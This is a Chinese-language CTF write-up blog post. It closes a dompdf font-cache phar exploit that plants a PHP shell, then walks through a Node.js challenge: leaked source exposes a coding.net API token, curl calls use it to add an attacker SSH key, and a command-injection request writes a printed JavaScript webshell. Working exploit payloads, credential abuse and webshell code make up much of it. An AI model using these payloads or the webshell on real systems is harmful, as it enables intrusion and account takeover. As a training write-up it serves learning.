EYNmlUQIAAABHQk1C');
font-weight:'normal';
font-style:'normal';
}
</style>

====== REQUEST 2 NOT ENCODED =======

<style>
@font-face {
font-family:'exploit';
src:url('phar:///var/www/html/vendor/dompdf/dompdf/lib/fonts/exploit_normal_58b7eee7dc2adb832946db6e899c457f.ttf##');
font-weight:'normal';
font-style:'normal';
}
</style>

这里我们需要本地起一个服务docker去观察一下,这里全是细节了。
首先打入第一个payload后生成的ttf文件名字和上述不同,我们需要自己手动观察。
image.png
可以看到exploit_normal_68d0c0a2c8ad91268f107b3cebba8700.ttf
我们需要把第二段exp的md5改为上述看到的,之后打入之后会发现shell已经成功写入:
image.png
shell.php3b58a9545013e88c7186db11bb158c44.php这是名字,那么最后访问这个就可以获取shell了。
image.png

你听说过JS的webshell吗

1.
coding 其他 git 托管凭据泄漏

解题步骤

基本信息

打开网页
image.png
直接打开 f12 发现 api 与注释
image.png

目录扫描

这里其实想说的是扫描该网站 看看有没有发现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
$ dirsearch -u http://127.0.0.1 # 这里不需要引入任何字典 泄漏的文件相当常见

_|. _ _ _ _ _ _|_ v0.4.2.8
(_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11458

Output File: /tmp/reports/

Target: http://127.0.0.1/

[23:23:56] Starting:
[23:23:56] 403 - 9B - /.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
[23:23:56] 403 - 9B - /%2e%2e//google.com
[23:23:58] 400 - 14B - /\..\..\..\..\..\..\..\..\..\etc\passwd
[23:24:00] 200 - 679B - /app.js
[23:24:01] 403 - 9B - /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
[23:24:02] 200 - 439B - /config.js
[23:24:03] 200 - 170B - /Dockerfile
[23:24:07] 200 - 627B - /package.json
[23:24:07] 200 - 29KB - /package-lock.json
[23:24:08] 200 - 9B - /Readme.md
[23:24:08] 200 - 9B - /README.md
[23:24:08] 200 - 9B - /README.MD
[23:24:08] 200 - 9B - /ReadMe.md
[23:24:08] 200 - 9B - /readme.md
[23:24:12] 200 - 6KB - /views

Task Completed

入口点发现

发现存在相关的 js web 文件 尝试查看是否有其他泄漏。

这里所有的证据都说明了 这个网站泄漏了源代码 也就是 js 文件
接下来测试是否存在 ecosystem.config.js 文件 来验证这个结论
我们可以试试 https://127.0.0.1/ecosystem.config.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
// Options reference: https://pm2.keymetrics.io/docs/usage/application-declaration/
const package = require('./package.json')

module.exports = {
apps: [{
name : package.name,
script : 'app.js',
args : 'one two',
instances : 1,
autorestart : true,
watch : true,
ignore_watch : ['node_modules', 'logs', '.git', 'statics'],
error_file : 'logs/err.log',
out_file : 'logs/out.log',
log_file : 'logs/all.log',
log_date_format : 'YYYY-MM-DD HH:mm:ss',
max_memory_restart : '1G',
env: {
NODE_ENV : 'development',
},
env_production: {
NODE_ENV : 'production',
}
}],
deploy: {
production: {
// host : CONFIG.remote.host,
// user : CONFIG.remote.user,
// path : CONFIG.remote.path,
// repo : CONFIG.git.ssh,
// ref : CONFIG.git.ref,
'post-deploy' : 'npm install && pm2 reload ecosystem.config.js --env production'
}
}
};

很明显是存在 js 代码泄漏的

检查 middleware

通过 app.js 文件
可以翻找到 如下的库与中间件

1
2
3
4
const template   = require('./middlewares/template')
const route = require('./middlewares/route')
const api = require('./middlewares/api')
const listen = require('./middlewares/listen')

api listen route template 四个分别通过依赖注入的方式引入
这里直接去看 api
对于 api 分别尝试这三个文件

1
2
3
https://127.0.0.1/middlewares/api.js
https://127.0.0.1/middlewares/api
https://127.0.0.1/middlewares/api/index.js

可以发现 index.js 有返回
如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
const fs       = require('fs')
const path = require('path')
const router = require('koa-router')()
const tools = require('../../utils')
const Response = require('../response')

// apiPath 为 当前目录的上上级 也就是 / 下 是可以访问的
const apiPath = path.join(__dirname, '../../api')

// 这里是网站自己实现的 CGI
// 动态的在 api 文件夹下所有的 js 文件注册进来 并且赋予对应的 path
function registeApi (dir) {
// 遍历目录下所有文件
fs.readdirSync(dir).forEach(fileName => {
// 文件完整路径
const filePath = path.join(dir, fileName)

// 若该文件为目录,则继续遍历该目录下所有文件
if (fs.statSync(filePath).isDirectory()) return registeApi(filePath)
// 忽略入口文件
// if (filePath.endsWith('index.js')) return
// 忽略非 js 文件
if (!filePath.endsWith('.js')) return console.info('非 JS 文件不要放在 api 目录下' + filePath)

regist(filePath);
})
}

// 注册单个 api
function regist(filePath) {
// API
// 通过 filePath 引入
const api = require(filePath)
// API 名称
const apiName = getApiName(filePath)

// 遍历请求方式
for (const type of Object.keys(api)) {
// 响应操作 写入 router
router[type](apiName, async (ctx) => {
await api[type](getRequest(ctx), new Response(ctx))
})
// 打印接口信息
apiLog(type, apiName)
}
}

// 去掉 .js
function getApiName(filePath) {
return filePath.cutEnd(3)
.replace(apiPath, '')
.replace(/\\/g, '/')
}

function getRequest(ctx) {
return {
params : { ...ctx.request.body, ...tools.getUrlParams(ctx.request.url) },
page : tools.getPagination(ctx),
ctx,
}
}

function apiLog (type, apiName, apiIntro = '') {
console.info(`${apiIntro}\n[${type.toUpperCase()}]: ${apiName}\n****************************************`)
}

// require 时注册 APIPATH
registeApi(apiPath)

module.exports = (() => router.routes())()

整理逻辑 发现端倪

在 /api/XXX 下的 任何 /api/path/to/api.js 都会被注册成 /path/to/api
那么 查看 / 下的所有请求出去的 api 你可以直接 grep 拿到如下的数据

1
2
3
4
5
<script src="https://fastly.jsdelivr.net/npm/[email protected]/dist/axios.min.js"></script>
axios.get('/v2/coding/projectList')
axios.get('/v2/coding/versionList', {
axios.get('/v2/coding/distList', {
return (await axios.get('/v2/coding/distExist', {

一共 4 个 api
无论是哪个 api 你都可以进行跟踪
例如第二个 api /v2/coding/versionList 所在的位置根据上面 middleware/api 的推断
可以发现放在了如下的位置
喜欢写注释真是好程序员 (确信)
/api/v2/coding/versionList.js
访问后我们可以得到如下的 js 文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
const path = require('path')
const coding = require('../../../request/coding')

const distExtname = [
'.tgz',
'.exe',
'.dmg',
'.AppImage',
]

module.exports = {
async get(request, response) {
const ProjectId = Number(request.params.ProjectId)

let data = []
// post to 一个后端
const storeList = (await coding.post('/open-api', {
Action: 'DescribeProjectDepotInfoList',
ProjectId,
})).data.Response.DepotData.Depots

for (const store of storeList) {
const versionList = (await coding.post('/open-api', {
Action: 'DescribeGitReleases',
DepotId: Number(store.Id),
Status: 1,
PageNumber: 1,
PageSize: 100,
})).data.Response.ReleasePageList.Releases

data = [...data, ...versionList]
}

data.sort((a, b) => a.TagName < b.TagName ? 1 : -1)

response.setData(data)
response.success()
}
}

我们可以发现他是另一个后端 api 的代理 而那个后端定义在 request/coding 中

获得 token

我们可以通过相对的路径得到 url
访问 http://127.0.0.1/request/coding.js 中获取

1
2
3
4
5
6
7
8
9
10
11
12
13
const axios = require('axios')

// Access Token
const codingToken = 'token e(This_Is_real_Token)c'

const coding = axios.create({
baseURL: 'https://e.coding.net',
headers: {
Authorization: codingToken,
},
})

module.exports = coding

网上搜索 e.coding.net 发现是一个 devops 平台 具有相当的利用价值
同时这里也暴露了 对应的 Token

接管用户账户

进一步使用搜索引擎可以发现对应的 openapi 文档 https://coding.net/help/openapi
如果发现了项目 https://github.com/Esonhugh/tencent-coding-openapi/
这里提供了非常方便的利用工具 可以一键列出项目和仓库 并且可以增加 ssh keys 只需要导入一个 api token 即可。
发现是个人 api (token 开头)
列出项目

1
2
3
4
5
6
7
8
9
curl https://e.coding.net/open-api -H "Authorization: token e(This_Is_real_Token)c" -d '{
"Action": "DescribeCodingProjects",
"PageNumber": 1,
"PageSize": 10
}'
# python usage
python ./digging-shell.py list_projects
ic| r.status_code: 200
ic| r.headers: Headers({'server': 'Nginx', 'date': 'Mon, 17 Apr 2023 11:04:54 GMT', 'content-type': 'application/json', 'transfer-encoding': 'chunked', 'connection': 'keep-alive', 'content-encoding': 'gzip', 'x-target-env': 'prod_with_canary'})

Response

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
{
"Response": {
"RequestId": "10bcd5a9-7d9a-4a80-a1ec-e833d4c89d77",
"Data": {
"PageNumber": 1,
"PageSize": 10,
"TotalCount": 1,
"ProjectList": [
{
"Id": 11680350,
"CreatedAt": 1678157689000,
"UpdatedAt": 1678157689000,
"Status": 1,
"Type": 2,
"MaxMember": 0,
"Name": "leak-token-leak-git",
"DisplayName": "leak my git",
"Description": "Wow! you got there! SuperCool man!",
"Icon": "https://e.coding.net/static/project_icon/scenery-version-2-10.svg",
"TeamOwnerId": 3921812,
"UserOwnerId": 0,
"StartDate": 0,
"EndDate": 0,
"TeamId": 3921812,
"IsDemo": false,
"Archived": false,
"ProgramIds": []
}
]
}
}
}

列出仓库

1
2
3
4
5
6
7
8
curl https://e.coding.net/open-api -H "Authorization: token e(This_Is_real_Token)c" -d '{
"Action": "DescribeProjectDepotInfoList",
"ProjectId": 11414022
}'
# python usage
python ./digging-shell.py list_repos
ic| r.status_code: 200
ic| r.headers: Headers({'server': 'Nginx', 'date': 'Mon, 17 Apr 2023 11:04:00 GMT', 'content-type': 'application/json', 'transfer-encoding': 'chunked', 'connection': 'keep-alive', 'content-encoding': 'gzip', 'x-target-env': 'prod_with_canary'})

Response

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
{
"Response": {
"RequestId": "1b4dee8f-afce-4495-8e8b-d776c8097397",
"DepotData": {
"Depots": [
{
"Id": 10467875,
"Name": "leak-source-code",
"HttpsUrl": "https://e.coding.net/vuln-git/leak-token-leak-git/leak-source-code.git",
"ProjectId": 11680350,
"SshUrl": "[email protected]:vuln-git/leak-token-leak-git/leak-source-code.git",
"WebUrl": "https://vuln-git.coding.net/p/leak-token-leak-git/d/leak-source-code",
"VcsType": "git",
"ProjectName": "leak-token-leak-git",
"Description": "Got there!",
"CreatedAt": 1678157728000,
"LastPushAt": 0
}
],
"Page": {
"PageNumber": 1,
"PageSize": 1,
"TotalPage": 1,
"TotalRow": 1
}
}
}
}

发现要登陆 尝试获取 sshkey
创建 sshkey

1
2
3
4
5
6
7
8
curl https://e.coding.net/open-api -H "Authorization: token e(This_Is_real_Token)c" -d '{
"Action": "CreateSshKey",
"Title": "Hacker",
"Content": "ssh-rsa AAAA== rsatest",
"ExpirationDate": "9999-12-31"
}'
# python usage
python ./digging-shell.py add_ssh_key sshkey.rsa

成功后 git clone git@e.coding.net:XXXXX/XXXX/XXXX.git

项目源代码

进行审计。 把起来项目跑起来。
可以在 api 文件夹中找到一个 /v3/UpdateAllProduct.js 文件 这个文件也是可以使用的 api 在 html 主页中可以找到对应的文件泄漏。
存在命令注入的可能 注入非常的简单 projectName 之类的参数都可以注入 因为这些是直接拼接进去的。
正式的题目环境应该是禁止反向 shell 连接出来的
第一种办法是纯粹的无回显的布尔命令注入
但是这里滥用一下代码中的存在的 js CGI 魔法 我们可以尝试写入一个 webshell js 来进行 Getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
# use as curl
curl "https://127.0.0.1/v3/UpdateAllProduct" \
-H 'x-coding-event: ping1' \
-X POST -k \
--data-raw "artifact.artifactRepoName=12&artifact.artifactPkgName=\";echo ${BASE64WEBSHELL}|base64 -d > /app/api/v2/badWebShell.js #\"&artifact.artifactVersionName=1.4&artifact.projectName=testing"
# python usage
python digging-shell.py upload_shell ./upload_shell.js https://nodejs-hack.cloud.eson.ninja
# https://nodejs-hack.cloud.eson.ninja replace your url 不要加 / 我的服务是禁止nodejs 外连其他服务 所以会导致内部的js的命令拼接执行时候的 curl 失效,导致一次 500 ,否则会返回服务正常更新的 json
# output like following
ic| file_data: 'Y29uc3<base64ed file data>AAA='
Traceback (most recent call last):
.....
httpx.ReadTimeout: The read operation timed out

其中 BASE64WEBSHELL 的值为 js webshell 的样本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
const fs = require('fs')
const path = require('path')
const { execSync } = require('child_process')

module.exports = {
// API POST
async post(request, response) {
// console.log(request.params)
artifactPkgName = request.params.artifactPkgName
// Save Path
const localDir = __dirname
// curl command
const curlCMD = artifactPkgName
// Create Path
fs.mkdirSync(localDir, { recursive: true })
// download artificate
ResponseData = execSync(curlCMD, { cwd: localDir }).toString()
// Response
response.success(ResponseData)
}
}

由于 pm2 会自动托管和加载 api 文件夹下的 js 文件 所以我们可以直接访问 webshell
webshell 链接地址为 https://127.0.0.1/v2/badWebShell 请求方式为 POST
POST Form 的内容为 ‘artifactPkgName={CMD}’
参考 check-shell 函数

1
2
3
4
5
python ./digging-shell.py get_shell https://nodejs-hack.cloud.eson.ninja ls # replace ls as your command. and replace https://nodejs-hack.cloud.eson.ninja as your url and also no / behind.
ic| command: 'ls'
ic| resp.status_code: 200
badWebShell.js
coding

其实给我一股子hackthebox的味道。。。不过JSwebshell还是可以学一下的,类似内存马吧。

ezphp

0解题,不放wp

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#WriteUp